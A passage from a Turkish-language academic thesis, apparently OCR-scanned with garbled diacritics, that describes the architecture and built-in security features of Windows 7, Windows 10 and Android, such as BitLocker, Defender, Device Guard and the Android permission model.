sistemi Ozelliklerinin Oncelikli stratejileri sunlardir: Fareyi ve pencereleri kullanan etkilesimli is
pargaciklarina ¢ok iyi tepki siireleri vermek, giris ¢ikis birimlerini mesgul tutmak i¢in giris ¢ikis

baglantilarin1 aktif hale getirmek, Hesaplamaya bagli is pargaciklarinin arka plandaki yedek
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CPU c¢evrimlerini absorbe etmesi. Windows 7 isletim sistemi, sahip oldugu tiim hizmetleri ve
varliklar1 i¢in nesneler kullanir ve nesne yoneticisi bu nesnelerin kullanimin1 denetlemektedir.
Nesnelere bagvurmak i¢in uygulamalar tarafindan kullanilan bir nesne taniticisi olusturmak,
giivenligi kontrol etmek, hangi nesnenin hangi nesneyi kullandigini takip etmek nesne
yoneticisinin gorevlerindendir. Nesneler yaratma, agma, kapama, sorgu adi, ayristirma ve
giivenlik gibi standart bir yontem kiimesi tarafindan manipiile edilir. VM Y Oneticisinin tasarimi
temel donanimin fiziksel eslestirme, bir ¢agri merkezi olusturma mekanizmasi, ¢ok islemcili
sistemlerdeki saydam Onbellek uyumu, sanal adres takma iglemi gibi olaylarin sanal olarak
desteklendigini varsaymaktadir. Windows’taki VM yoneticisi, hem x86 hem de AMD64
mimarileri i¢in sayfa boyutu 4 KB olan sayfa tabanli bir yonetim semasi kullanmaktadir.
Windows 7 dosya sistemi temel yapist (NTFS), windows disk yoneticisi yardimc1 programi
tarafindan olusturulan, mantiksal disk boliimiinii temel alan, bir diskin bir kismini bir diskin
tamamini veya birkag¢ diski kapsayabilen bir birimdir. Birim hakkindaki bilgiler gibi tim meta
veriler, kiimeleri temel disk ayirma birimi olarak kullanan diizenli bir dosyada depolanmaktadir.
Bellek yoneticisi, sanal bellek alanlarini ayarlamakta ve islemektedir. Sanal bagimsiz DE,
hafizay1 kabul etmekte veya serbest birakmaktadir ve bu fonksiyonlar uygulamanin bellegin
ayrildigr sanal adresleri belirlemesini saglamaktadir. Bir uygulama hafizayi, bir dosyay1 adres
alanina esleyerek kullanabilmektedir. Bu durum c¢ok asamali siireglerde ve iki islemin ayni
dosyay1 sanal belleginde esleyerek bir bellegi paylagtigi durumlarda gergeklesmektedir. Win 32
ortaminda y1gin kavrami, ayrilmis adres alaninin bir bolgesi anlamma gelmektedir. Win 32
stirecleri 1 MB’lik varsayilan yiginlarla olugturulmustur ve erisim ayni anda meydana gelen
giincellemeler ve ¢oklu is pargaciklart tarafindan yiginin bosluk paylasim veri yapisim
hasarlardan korumak icin senkronize edilmistir. Genel veya statik verilere dayanan fonksiyonlar
tipik olarak ¢ok is pargacikli bir ortamda diizgiin sekilde ¢alismadigindan is pargacigi yerel
depolama mekanizmasi genel depolamayr her bir is pargacigi temelinde ayirmaktadir

(Silberschatz, 2014).

2.7.2. Windows 7 Professional Giivenlik mekanizmasi

Windows 7 isletim sistemi, Windows XP isletim sistemiyle kiyaslandiginda daha biitiinciil bir
giivenlik anlayisi benimsemektedir. Windows Vista isletim sisteminde “giivenlik merkezi” adi
altinda gerceklestirilmeye ¢alisilmig bu bitiinciil giivenlik anlayisi, Windows 7 isletim
sisteminde “iglem merkezi” adiyla denetim masasi kontrolii tarafindan gerceklestirilmektedir.
Islem merkezi giivenlik kaynaklarinin temel kaynaklarla uyum igerisinde c¢alismasini

amagladigindan sadece giivenlikle degil, performans ilkelerini diizenleme islemleriyle de
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ilgilenmektedir. Microsoft Vista isletim sistemiyle gelen Microsoft Defender yazilim Windows
7 isletim sisteminde de hazir olarak bulunmaktadir. Bunun yaninda hem icten disa hem de
distan ige trafik akisini kontrol eden Windows giivenlik duvar1i da Windows 7 igletim sisteminde
gelismis olarak bulunmaktadir. Windows 7°nin islem merkezi antiviriis uygulamalariyla uyumlu
bir sekilde calisarak, kullanict hesaplarinin denetimini ve ebeveyn kontroliinii de saglamaktadir.
Dosya ve dizin giivenligi sifrelenmesi Windows 7 igletim sisteminin de odaklandig1 bir noktadir
ve Enterprise siirlimlerinde hazir olarak gelen bitlocker yazilimi disk bolimii sifreleme imkani
sunmaktadir. Erisim haklar1 diizenlemeleri sirasinda yapilacak hatalar, yetkisiz kisilerin de
dosyalara erismesine neden olabileceginden, sadece erisim haklar1 ile koruma saglamak 6nemli
giivenlik aciklarina neden olabilmektedir. Bu giivenlik aciklarini 6nlemek adiyla Windows 7
isletim sistemi kullanicilara EFS dosya ve dizinleri sifreleme oOzellikleri sunarak, verileri
sifrelenmis olarak disk {izerinde saklamaktadir ve bu dosyaya erisim sadece dosyanin sahibi
erisebilmektedir. EFS sifreleme, sadece NTFS dosya sistemlerinin destekledigi bir 6zellik
oldugu i¢in sifrelenmis bir dosya NTFS birimi olmayan bir dosya iizerine tagindiginda sifreleme
0zelligi ortadan kalkar ve dosyaya erismek isteyen kullanici dosyayr taninmayan karakterler
halinde gérmektedir. Sifreleme 6zelligi ag transferleri sirasinda ortadan kalktigi i¢in sifrelemede
EFS kullanmak yerine IPSec, Remote Desktop veya Terminal servisleri kullanilmaktadir ve
dosyalar ag iizerinden sifrelerini agmadan gonderilmektedir. Isletim sistemlerinde sistem
cokmesi ve donamim hatalarindan dolay:1 veriler kaybedilebilir ve bu duruma dnlem olarak
kaybolma tehlikesi olan bagka ortamda kopyalanarak yedeklenmesi gerekmektedir. Herhangi bir
nedenden dolay1 isletim sistemi kullanilamaz hale geldiginde kullaniciya ait énemli verilerin
zarar gdrmemesi i¢in dosya yedekleme isleminin, isletim sistemi ve kullaniciya ait énemli
bilgiler disk lizerinde yaratilmig farkli mantiksal disklere konularak yani disk en uygun sekilde
bicimlendirilerek gerceklestirilmesi gerekmektedir. Boylece kullanici isletim sisteminin kurulu
oldugu mantiksal diske format atarak igletim sistemini yeniden kullanilabilir hale
getirebilmektedir. Problem kaynagimin tespit edilebilmesi igin isletim sistemine ait olay
kayitlarinin isletim sisteminin bulundugu diskte tutulmamasi gerekmektedir. Windows 7 igletim
sisteminde dosya ve dosya ayarlarin1 saklamak i¢in Baglat / Denetim Masasi / Yedekleme ve
Geri Yikleme uzantisinda bulunan bir yedekleme programi mevcuttur. Windows 7 isletim
sistemi giivenligi saglamak i¢in sistemi kullanacak her kisiyi sisteme tanimlamak adina
kullanict adi ve sifresine sahip kullanici hesaplart olusturarak kimlik dogrulama 6zelligini
kullanmaktadir. Sistemde oturum a¢gma(logon) islemini gergeklestirecek her bir kullanict kimlik
dogrulama ozelliginden gecerek sisteme kayitli biri oldugunu ispatlamis olur. Kullanicilarin

sahip oldugu sifrelerin kirilmasini 6nlemek adina Windows 7 isletim sistemi parola ilkelerine
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sahiptir. Windows 7 isletim sistemi glivenligi saglamak amaciyla olusturulan kullanicilar users
gibi bir grup altinda toplayarak yetkilendirme yapmakta ve gruplarla dosya erisim yetkilerini
kisitlamaktadir. Bu durum herhangi kotii niyetli birinin bir kullanici hesabini ele gegirdiginde
tiim sisteme zarar verme riskini onlemektedir. 2003 yilinda Windows XP SP2 ¢ikarilirken
giivenlik onlemlerini arttirmak amaciyla giivenlik duvari, antiviriis korumasi ve giincellemeleri
iceren Windows Glivenlik Merkezi 06zelligi eklenmistir. Bu durum Windows 7 isletim
sisteminde iglem merkezi adi altinda sistemin hem giivenlik hem de performans takibinin ve
degisikliklerinin yapildig1 bir ara yiiz olarak ortaya konmustur. Bilgisayarlar {izerinde bulunan
viriis, ajan ve solucan gibi zararli yazilim ve programlardan sistemi korumak i¢in, zaman
icerisinde tespit edilen gilivenlik agiklarini ortadan kaldirmak i¢in Microsoft firmasi belirli
araliklarla yama ve hizmet paketleri yaymlamaktadir. Bilgisayar sistemlerini digaridan gelen
tehlikelere karsi korumak icin yaymlanan bu yama ve hizmet paketleri takip edilmeli ve
bilgisayarin giincelleme islemleri gerceklestirilmelidir. Belli bir {riiniin giivenlik agigim
kapatmak i¢in yayinlanan yamalar giivenlik yamalari, kritik bir hatayr gidermek i¢in yapilan
giincelleme kritik giincelleme, belirli bir {iriiniin tim gilincellemelerini yapan servis paketi ve
belirli bir problemi gidermek icin yapilan genel giincellemelere giincelleme adi verilmektedir

(Alparslan, 2010).

2.8. Windows 10 Professional

Windows 10, 2015 yilinda Microsoft tarafindan yayimlanan en yeni kisisel bilgisayar isletim
sistemidir. Giiniimiizde bir¢ok insan, firma ve kurulus masaiistii veya diz istii bilgisayarlarinda
Windows 10 isletim sistemini aktif olarak kullanmaktadir. Windows 10 isletim sistemi windows
7 isletim sistemiyle baslat mentisii de dahil olmak iizere benzerlik gdsteren, tanidik ve kullanimi
kolay bir ara ylize sahiptir. Windows 10 Home, Professional, Enterprise ve Mobile siiriimleri

mevcuttur. Sistemin ara yiizii Sekil 2.15.”de gosterilmektedir (Olusanya vd., 2016).

Sekil 2.15. Windows 10 igletim sistemi ara yiizii.
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2.8.1. Windows 10 Professional mimarisi

Microsoft Windows 10, altinci, yedinci ve sekizinci nesiller arasi Intel Core Vpro islemcilere
dayali diziistii bilgisayarlarla sinerjik olarak c¢alisan, yeni sezgisel kullanici deneyimleri sunan,
bir kullanicinin makinesinde ¢oklu uygulamalar ¢alisirken akici tasarim ve zaman ¢izelgesi gibi
Ozelliklerinin yani sira daha yliksek performans saglayan bir isletim sistemidir (Bhat ve Nisman,

2018).
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Sekil 2.16. Windows 10 Pro mimarisi.

Windows 10 Professional Isletim sistemi mimarisi Sekil 2.16’da goriildiigii gibi 6zel ayricalik
katmanlarinda g¢alisan ¢ok katmanli modiil sistemi, kullanicit ve ¢ekirdek modlari, Hyper V
tarafindan uygulanan sanal giivenlik seviyeleri segeneklerine sahiptir. Sanal giivenlik seviyeleri
secenekleri, sanal giivenli modu etkinlestirir, her bir bolgede kullanict ve ¢ekirdek katmanlarina
sahiptir ve hypervisor katmani dahil altta bulunan donanim katmani 6zel islemci modunda
calismaktadir. Boylece normalden daha gilivenli donanim tabanli sistemler olusturulmaktadir.
Cekirdek katmani yonetici ve alt sistemlerin temelini olusturmaktadir. Cekirdek katmaninin is
pargacigl planlama, kesme ve 6zel durumlar isleme, diisiik seviye islemci senkronizasyonlar1 ve
elektrik kesintilerinden sonra sistemi kurtarma gibi dort ana sorumlulugu bulunmaktadir.
Cekirdek katman1 dagitim nesneleri ve kontrol nesneleri olmak t{izere nesne yonelimli iki nesne
kiimesi kullanmaktadir. Microsoft 10 Islerim sisteminde bulunan VSM bélgesi(enclave) gegerli

imzali Giglincii parti kodlarin kripto hesaplamalar1 yapmasina izin vermektedir. Bir siire¢ sanal
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bellek adres alanlarina, temel oncelik gibi bilgilere sahiptir ve bir veya daha fazla islemci ile
benzerlik gostermektedir. Is parcaciklari ise, cekirdegin gondericisi tarafindan zamanlanan
ylirtitme birimleridir. Her is parcacigi kullanict modu ve ¢ekirdek modu olmak iizere iki
yiirlitme moduna sahiptir. Cekirdek katmani yigin istiflemek ve CPU modunu degistirmek igin
yakalama isleyicisini ¢alistirmaktadir. Windows 10 isletim sisteminde dagitici, is
pargaciklarinin yiirtitme siralarini belirlemek i¢in 32 seviyeli bir dncelik diizeni kullanmaktadir.
Bu oncelikler gercek zamanli ve degisken olmak tizere iki sinifa ayrilmaktadir. Gergek zamanl
siif 16 ile 31 araliklarindaki oncelik degerlerini is pargaciklarini igerirken, degisken smif O ile
15 araliklarindaki oncelik degerlerini igermektedir. Windows 10 isletim sisteminin fare ve
pencereleri kullanan etkilesimli is pargaciklarima c¢ok iyi tepki siireleri verme, giris c¢ikis
birimlerini mesgul tutmak adina giris ¢ikis birimlerini etkinlestirme gibi dncelikli stratejileri
mevcuttur. Windows 10 Mimarisinde zaman planlamasi, is parcacigi hazir veya bekleme
durumundayken, is parcacigi sona erdiginde ya da bir uygulama is pargaciginin onceligini
degistirdiginde gerceklesebilmektedir. Gergek zamanli is pargaciklart CPU’ya tercihli erigim
ozelligine sahiptir fakat Windows 10, herhangi bir zaman dilimi igerisinde ger¢ek zamanli bir i
parcacigimin ¢alismaya baslayacagina dair garanti vermemektedir ve bu durum yumusak gercek
zamanl is pargacigl olarak bilinmektedir. Cekirdek yazilim donanimlarn tarafindan istisnalar ve
kesintiler olusturuldugunda islem yakalama yonetimini saglamaktadir. Islem yakalayict
tarafindan idare edilemeyen istisnalar c¢ekirdegin istisna gondericisi tarafindan yerine
getirilmektedir. Cekirdekte bulunan kesme gondericisi kesme hizmet yordamini (cihaz
siriicisiinde oldugu gibi) veya i¢ ¢ekirdek yordamimi ¢agirarak kesinti islemlerini
gerceklestirmektedir. Cekirdek, cok islemcili ve karsilikli bir diglama ilkesi elde etmek igin
kiiresel bellekte bulunan dondiirme kilitlerini (spin locks) kullanmaktadir. Windows 7°de
oldugu gibi Windows 10 isletim sisteminde de nesne yoneticisinin gorevi tiim hizmetler ve
varliklar i¢in kullanilan nesnelerin yonetimidir. Nesne yoOneticisi, bir nesne taniticist olusturur
ve glivenligi kontrol eder. Windows 10 mimarisindeki sanal adres gevirileri birkag veri yapist
kullanmaktadir. Her bir islem 4 byte boyutunda 1024 sayfa dizin girisi iceren bir sayfa dizinine
sahipken, her sayfa dizini girisi 4 bayt boyutunda 1024 sayfa tablosu girisi (PTE) igeren bir
sayfa tablosuna isaret etmektedir. Her PTE ise bellekte 4 kb’lik bir sayfa cergevesine isaret
etmektedir. Bir sayfa gecerli, sifirlanmis, serbest bekleme, degistirilmis veya hatal
durumlarindan herhangi birinde olabilmektedir. Windows 10 isletim sistemi sanal bellek diizeni

Sekil 2.16.’da gosterildigi gibidir.
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Sekil 2.17. Windows 10 isletim sistemi sanal bellek diizeni.

Sekil 2.17.’da gosterilen yonetici alanindaki islem yoneticisi is pargacigl ve islem olusturma,
silme ve kullanma hizmetlerini sunmaktadir. Siire¢ diigiimlerinde ebeveyn/gocuk iliskileri veya
stire¢ hiyerarsileri slirecin sahibi olan belirli bir ¢evresel alt sisteme birakilmaktadir. Yerel
prosediir ¢agrilar1 (LPC), istekleri ve sonuglari tek bir makinedeki istemci ve sunucu islemleri
arasinda iletmektedir. Bir LPC kanali olusturuldugunda, {i¢ mesaj tipinden biri secilmelidir.
Birinci tip mesaj tipi, 256 byte’a kadar kiigiik mesajlar i¢in uygundur, portun mesaj kuyrugu ara
depo olarak kullanilir ve mesajlar bir islemden digerine kopyalanmaktadir. ikinci mesaj tipi,
kanal i¢in olusturulan ve paylasilan bellek boliimii nesnesine isaret etmektedir ve biiyiik
mesajlar1 kopyalamay1 énlemektedir. Ugiincii mesaj tipi, Win 32 alt sisteminin grafiksel goriintii
boliimleri tarafindan hizli alt yap1 adi verilen bir yontem kullanmaktadir. G/C Yoneticisi dosya
sisteminden, Onbellek yonetiminden, cihaz siirliciilerinden ve ag siiriiciilerinden sorumludur.
Yiiklenebilir dosya sistemlerinin hangisi oldugunu izler ve G/C istekleri i¢in ara bellekleri
yonetmektedir. G/C Yoneticisi, bellek eslemeli dosya giris ¢ikisini saglamak igin VM Manager
(sanal makine yoneticisi) ile birlikte c¢alismaktadir. Tiim G/C sistemi igin Onbellege alim
islemlerini gergeklestiren Windows 10 onbellek yoneticisi G/C yoneticisi tarafindan kontrol
edilmektedir. G/C yoneticisi hem senkron hem de asenkron islemleri destekler, siiriiciiler i¢in
zaman asgimi saglar ve bir siiriiciniin digerini ¢agirmasi igin gerekli mekanizmalara sahiptir.

Windows 10 isletim sistemi dosya giris ¢ikis diizeni Sekil 2.18.’de gdsterilmistir.
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Sekil 2.18. Dosya Girig/Cikis diizeni.

Windows 10’un nesne yonelimli dogasi, sistemdeki her varlik i¢in calisma zamani erisim
dogrulamas1 ve denetim kontrollerini gerceklestirmek amaciyla tek bir mekanizma
kullanmaktadir. Bir islem bir nesneye tanitici agtiginda, gilivenlik referans monitorii islemin
gerekli haklar1 sahip olup olmadigimi gérmek icin islemin gilivenlik belirtecini ve nesnenin
erisim kontrol listesini kontrol etmektedir. Tak ve calistir yoneticisi (PnP), donanim
yapilandirmasindaki degisiklikleri tanimak ve uyarlamak icin kullanilmaktadir. Yeni aygitlar
eklendiginde PnP yoneticisi uygun siiriiciiyii yliklemektedir ve her cihazin kullandig1 kaynaklar
takip etmektedir. Giig¢ yoneticisi mevcut giic kosullarini algilar, sistemi uyku moduna gegirerek
hazirda bekletir ve cihaz durumu yonetimini saglar. Kovan (hives) ad1 verilen dahili depolarda
tutulan kayit defteri yapilandirma bilgileri kayit defteri adi verilen konfiglirasyon yoneticisi
tarafindan yonetilmektedir. Sistem bilgileri, her kullanicinin tercihleri, yazilim bilgileri,
giivenlik ve onyiikleme segenekleri i¢in ayri bir kovan (hives) mevcuttur. Windows 10 isletim
sistemi bir seyler ters giderse Onceki kayit defterini kurtarabilmek igin kayit defteri
degisiklikleri yapmadan 6nce bir sistem geri yiikleme noktast olusturmaktadir (Silberschatz,

2010).

2.8.2. Windows 10 Professional giivenlik mekanizmasi

Windows 10 giivenlik mekanizmasini windows defender, bitlocker, akilli ekran filtresi
basliklar1 altinda incelemek mimkiindiir. Bu 6zelliklere ek olarak kosullu erisim, kontrol akisi
korumasi, cihaz korumasi ve sanallagtirma tabanli giivenlik Microsoft 10 isletim sistemine
giivenligi saglamak i¢in eklenen yeni 6zellikler arasindadir. Windows Defender ilk olarak 2005

yilinda Microsoft tarafindan giivenlik alanindaki edinimlerinden birinin sonucu olarak bir casus



37

yazilim 6nleme programi olarak piyasaya siiriilmiistiir ve yedi yil boyunca Microsoft’'un web
sitesinden indirilebilen, bazen de Windows ile birlikte gelen Microsoft iicretsiz antispyware
programi olarak varhigini stirdiirmiistiir. 2012°de Microsoft, yalnizca casus yazilimlari degil, her
tirli kot amacgh yazilimi algilayan, Windows Defender olarak yeniden big¢imlendiren ve
Windows 8’e ekleyen Microsoft Security Essential programini alarak Snemli bir degisiklik
yapti. Microsoft’a gore kotii amagh yazilimlardan koruma programi olan Windows Defender,
Windows 10’dan kaldirilamayacak kadar onem arz etmektedir. Bir baska {iglincti parti koti
amacli yazilimdan koruma programi Windows 10’a yiiklendiginde, Windows Defender devre
dis1 kalsa bile sistemde mevcut olarak bulunur ve giincellemeleri indirmeye devam etmektedir.
Bu giincelleme islemi Windows 10 isletim sisteminin giivenlik giincellemeleri igerisinde yer
almaktadir. Ugiincii parti kétii amagli yazilimdan koruma programlarmin lisansinin  siiresi
doldugunda, Windows 10 tarafindan devre dis1 birakilir ve sistemi korumak i¢cin Windows
Defender otomatik olarak devreye girer ve bu nedenden dolayr Windows Defender giincel
tutulmahidir. Bilgisayardaki hassas verileri korumak, biitiinliglinii saglamak icin Windows 10
bitlocker dosya sifreleme 6zelligini kullanmaktadir. Windows 10 sabit veya tasinabilir diskleri
bitlocker yontemi ile sifreleyerek hacker’larin parolalart kesfetmek igin kullandiklart sistem
dosyalarina erismesini veya siiriiciileri bilgisayardan cikarip farkli bir bilgisayara takarak
stiriicliye erismelerini engellemektedir. Bitlocker ile sifrelenmis bir siirliciiye yeni dosyalar
eklendiginde bu dosyalar bitlocker tarafindan otomatik olarak sifrelenir ancak baska bir siirticii
veya bilgisayara kopyalanan dosyalarin sifreleri otomatik olarak kalkmaktadir. Dosyalar ag
tizerinden baska kullanicilar ile paylasiliyorsa ilgili dosyalar sifrelenmis siiriiciide kaldig1 siirece
sifreli kalir ancak yetkili kullanicilar tarafindan sifreli dosyalara erisim saglanmaktadir.
Bitlocker 6zelligi Windows 10 isletim sistemlerin Home siiriimlerinde mevcut degildir, yalnizca
professional siirlimii bu 6zelligi bulundurmaktadir. Windows 10°da bulunan akilli ekran filtresi,
baslangicta Windows 7 altinda explorer iizerinde kimlik avi ve kotii amagli yazilimlara koruma
saglamak i¢in gelistirilmistir ve Microsoft’un web &6zelliklerinden (Hotmail, Outlook, Office365
gibi) gelen tehditlere karsi sistemi korumak icin yillar igerisinde gelistirilmistir. Ik once
Windows 8’e entegre edilen bu 6zellige Windows 10 isletim sisteminde Microsoft Edge Akillt
Ekran Filtresi destegi de eklenmistir. 1 Ocak 2016 tarihinden itibaren akilli ekran filtresini
destekleyen Windows siiriimleri ¢aligtirildiginda dijital olarak imzalanmis dosyalart SHA1
karma algoritmasi gibi zayif bir sertifika teknolojisiyle dijital olarak otomatik bir sekilde
raporlamaktadir. Zayif sertifikayi sahip bir dosya Windows 10 isletim sisteminde galistirilirsa
Akilli Ekran Filtreleme 6zelligi kullaniciy bir iletisim kutusuyla uyarmaktadir. Windows 10’un

yeni gelen oOzelliklerinden biri kosullu erisimdir ve ag erisim korumasi (NAP) yerine
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gecmektedir. Kosullu erisim, Microsoft’un bir aga erisimini agin tiim kaynaklarina erisebilecek
kadar giivenli oldugu kanitlanincaya kadar siirlayarak ag erisim denetimini gergeklestiren bir
denetim teknolojisidir. Kosullu erisim teknolojisi 6n yiikleme verileri ve NAP’te olmayan
giivenli Onyiikkleme durumu gibi sistem biitiinliigii verilerine dayanarak sistemin saglikli
calistigina dair bir onay olusturmakta ve NAP’in aksine bulut teknolojilerini temel alarak
Windows Intune ve mobil cihaz yonetimi (MDM) ile birlikte ¢alismaktadir. Kosullu erisim
teknolojisi ile bitlocker durumu, kotii amagli yazilimdan koruma imza veri tabani kontrol
edilebilir ve yalnizca sistemin saglikli bir sekilde calistigi dogrulandiktan sonra onay talebi
olusturmaktadir. Kosullu erisim teknolojisini kullanmak i¢in sistemlerin modern sistemlere
yiikseltilmesi gerekmektedir. Kontrol akisi korumasi 6zelligi windows 10 kullanicilart igin
degil, windows 10 uygulama gelistiricileri i¢in Visual Studio 2015 ‘te yeni bir segenek olarak
uygulanmus bir 6zelliktir. Oncelerde tarayici yiginindaki bellegi bozmaya galisarak kullanilan ve
daha sonrasinda saldirilarla basa ¢ikmak icin kullanilan bu yeni teknoloji ara bellek tasmalarin
onlemek icin daha genel amagli bir mekanizmaya doniismiistiir. Kontrol akisi korumasi 6zelligi
programlar1 tamamen sizdirmaz hale getiremese de kodlara yapilan saldirilart biiylik oranda
onlemektedir ve Windows 8.1 de dahil olmak {izere Windows 8.1 ‘in iist siirimlerinde aktif
olarak kullanilmaktadir. Aygit korumasi 6zelligi, Windows 10’u rakiplerin hedefli saldirilarina
kars1 daha direncli hale getirmek icin yonetici hesaplar1 dahil olmak tizere bilgisayarda nelerin
calistirildigimin kontroliinii saglamak amaciyla birden fazla yazilim ve donanim 6zelliginin
birlestirildigi bir teknolojidir. Son derece gelismis ve kalic1 olarak bilinen bu saldirilar ulusal
devletler, casusluk gruplari, organize suc korsanlari gibi iyi finanse edilmis kaynaklar tarafindan
gerceklestirilmektedir. Sosyal miihendislik yontemi kullanilarak hedefin arastirilmasi ile
baslayan ve hedef ortama giris i¢in kotii amach yazilimi yalnizea bir siireligine kullana bu tiir
saldirilar direk olarak kotii amagli yazilimlart temel almaktadir. Saldirgan sisteme girmeyi
basardiktan sonra erisim haklarini arttirmak i¢in agdaki mevcut kimlik bilgilerini ve yonetim
araglarim kullanmaktadir. Bu tiir saldirilara karsi koruma saglamak icin sadece giivenlik
yazilimlar1 yeterli olmaz ek giivenlik kontrolleri de gereklidir. Aygit korumasindaki kod
biitiinliigii, tGrliin yazilimini giivenli 6n yilikleme 6zelligini, Windows 10 g¢ekirdek modeli kod
biitiinliigiinii, kullanici modu kod biitlinliigiinii, uygulama anahtarlarin1 igeren yazilim ve
donanim teknolojilerinin bir karisimini icermektedir. Digaridan gelecek tehditlere karst koruma
saglamak i¢cin VBScript (.VBS), JavaScritpt (.JS), Windows komut dosyasi (. WSF) ve Windows
Komut Dosyast Bileseni (.WSC) komut dosyalarinin dijital olarak imzalanmasi gereklidir.
Cihaz korumasi 6zelliginin etkin oldugu sistemlerde MSI kurulum paketlerinin de dijital olarak

imzalanmig olmas1 gerekmektedir. Glivenlik acisindan cihaz korumasi altinda c¢alisan
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uygulamalar magazanin 6zel siirimleri de dahil olmak iizere Microsoft Magazas1 araciligiyla
dagitilmalidir. Cihaz Korumast teknolojisi Windows 8.1 ve sonraki siiriimlerinde
kullanilabilmektedir. Cihaz korumasi teknolojisi grup ilkesi, SCCM ve Powershell ile
yonetilmektedir. Cihaz korumasi teknolojisi son siiriim Windows isletim sistemlerinde ¢alisir ve
bazi donanimlar gerektirir ve sistemi kotli amagli yazilimdan koruma gorevi gérmez fakat kotii
amacli yazilimdan koruma programinin saglayamadigi ek korumalari sunmaktadir.
Sanallastirma tabanli giivenlik te Windows 10 isletim sisteminin yeni 6zelliklerinden biridir.
Windows 10’un hala iizerinde calismakta oldugu bu yeni Ozellik isletim sistemlerinden
faydalanilmasini1 zorlastiran bir giivenlik mekanizmasidir. VBS bu giivenlik dnlemini igletim
sistemi cekirdeginin parcalarimi L tipi hypervisor yonetici iizerinde ayri bir boliime (sanal
makine) tasiyarak gerceklestirmektedir. Hypervisor Windows’ta giivenlik politikalariin
uygulanmasindan sorumlu olan yerel giivenlik kurumu alt sistemi hizmeti (LSASS) de
bulunacaktir; bu durum Kerberos, NTLM karmalar1 ve diger sik hedefli kontrollerin isletim
sisteminin disinda bulunacagi anlamina gelmektedir. Sanallastirma tabanli giivenlik &zelligi
sayesinde bellek sayfalarinin hem yazilabilir hem de calistirilabilir olmasini 6nleyen hyper
yonetici kod bitiinliigii (HVCI) araciligiyla uygulanir ve bellek sayfalarinin ¢alistirilabilir
olarak isaretlenmeden 6nce HVCI tarafindan dogrulanmasi gerekmektedir. HVCI ise bellek
tahsisini kontrol eden bir monitdr araciligiyla uygulanmaktadir. Bir anlamda bu yeni teknoloji
uygulama anahtarlarin benzer bir deneyim sunmaktadir. Sanallastirma Tabanli Giivenlikte sanal
bir TPM yigim1 da bulunmaktadir ve Windows Server 2016 Hyper V sanal makinelerinde
bitlockerin benimsenme konusunda yardimci olmaktadir. Sanallastirma tabanli giivenlik 6zelligi
ayn1 zamanda cihaz korumasi 6zelligi i¢in bir dnkosuldur ve ayni cihaz korumasi 6zelliginde
oldugu gibi Windows 10’un kurumsal ve egitim siiriimleri i¢in gecerli olacaktir (Knittel ve

McFedries, 2016).

2.9. Android

Android isletim sistemi ilk olarak adimi almis oldugu Android Inc. firmasi tarafindan
gelistirilmistir. Daha sonra mobil isletim sistemi olarak tanimlanarak 2015 yilinda Google
tarafindan satin alinmis ve Linux cekirdegi temel alinarak google tarafindan gelistirilme
calismalar1 halen devam etmektedir. Android, yalnizca isletim sistemini degil ara katman
yazilimmi ve temel uygulamalar1 da iceren oldukc¢a yaygin kullanilan bir yazilim grubu ve

isletim sistemi haline gelmistir. (Khan vd., 2017).
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Bu calismada Android isletim sistemi Kali Linux 2019 {lizerinde kurularak ele alimmistir. Sekil

2.19.’da android emiilatorii gosterilmektedir.

B L . »

Sekil 2.19. Android emiilatorii.

2.9.1. Android mimarisi

Android linux ¢ekirdegi iizerine kurulu bir mobil igletim sistemidir. Android isletim sistemi
mimarisini ¢ekirdek katmani, ara katman, framework katmani ve uygulama katmani olarak 4

ana katmanda ele almak miimkiindiir. Bu katmanlar Sekil 2.20.’de gosterilmektedir.
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Sekil 2.20. Android isletim sistemi mimarisi.

Linux c¢ekirdegi katmani, ¢ekirdek siiriiciileri, giic yonetimi ve dosya sistemi gibi isletim
sisteminin temel islevlerinin gerg¢eklesmesini saglayan Android platformunun alt katmanidir.
Cekirdek katmaninin iizerinde bulunan ara katman, mobil platform olarak Android’in sahip
oldugu temel unsurlari igeren ve Android katmani olarak ta bilinen katmandir. Android katmani
olarak bilinen ara katmanda Android ¢alisma zamani ve yerel bilesenler olmak iizere iki parca
vardir. Cekirdek katmanindaki siiriiciilerle karsilastirildiginda Android donanim sanallastirma
katmani (HAL) donanim iireticisine 6zel ¢ogu uygulamalarin (ses cihazi, kamera API’leri gibi)
tutuldugu katmandir. Yerel bilesenler boliimiinde bulunan iki dnemli bilesen C/C++ dillerinde
yazilmis yerel kiitiiphaneler ve arka planlar icermektedir. Android mimarisinde yer alan yerel
deamon’lar (hayalet programlar) sistemle etkilesimi yerel diizeyde ele almaktadir. SQLLite,
Webkit, SSL ve OpenGL gibi Kkiitiiphaneler, Android kiitiiphanesinin islevselligini ve
uyumlulugunu gelistirme amaciyla biiylik Olgiide zenginlestirilebilmektedir. Android ara
katmaninda bulunan caligma zamani parcasi g¢ekirdek kiitiiphanelerini ve c¢aligma zamant
ortamlarini igermektedir. Android’in 4.4 sliriimiine kadar tek calisma zamani ortami olarak
Dalvik adinda bir java islem sanal makinesi kullanilirken, daha sonraki siirtimlerde Android
Run Time (ART) adli yeni bir ¢aligma semas1 iizerinde g¢aligilmaya baslandi. Dalvik sanal
calisma zamani ortamimin sagladigi Just In Time (JIT) derlemesine gére ART tarafindan
saglanan Ahead Of Time (AOT) derlemesi enerji tikketiminde oldugu gibi performansta da
onemli bir iyilesme saglamaktadir (Chinetha vd., 2015).
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Android katmaninin calisma zamani parcasinin en istiinde Android uygulamalarinin bir¢ok
islevini yerine getiren ve uygulama gelistiricileri tarafindan en sik kullanilan uygulama
cercevesi katmani bulunmaktadir. Ornegin; goriintiileme sistemi, zengin ve gelistirilebilir UI
bilesenleri koleksiyonu bu katman tarafindan saglanmaktadir. Igerik saglayicilar ise, bir
uygulamanin diger uygulamalarla verilere erisimini veya veri paylasimini gerceklestirmektedir

(Meng vd., 2018).
2.9.2. Android giivenlik mekanizmasi

Android isletim sistemi Android uygulama cergevesi katmaninda gerceklestirilen Android izin
tabanli bir mekanizma ve linux ¢ekirdek katmaninda uygulanan linux kullanici tabanli bir
ayricalik mekanizmasi olmak iizere iki ana gilivenlik mekanizmasina sahiptir. Bir uygulamaya
diger taraflardan gelen kaynaklara erisiminden Once igletim sistemi tarafindan gerekli izinler
verilmelidir ve izin tabanli giivenlik mekanizmasi bilesenler arasi iletisim (ICC) diizeyinde
uygulanmaktadir. Android igletim sistemi ICC kuruluglarina aracilik etmek i¢in referans izleyici
roliinii Ustlendiginden her uygulamaya veya bilesene Onceden tanimlanmis bir izin etiketi
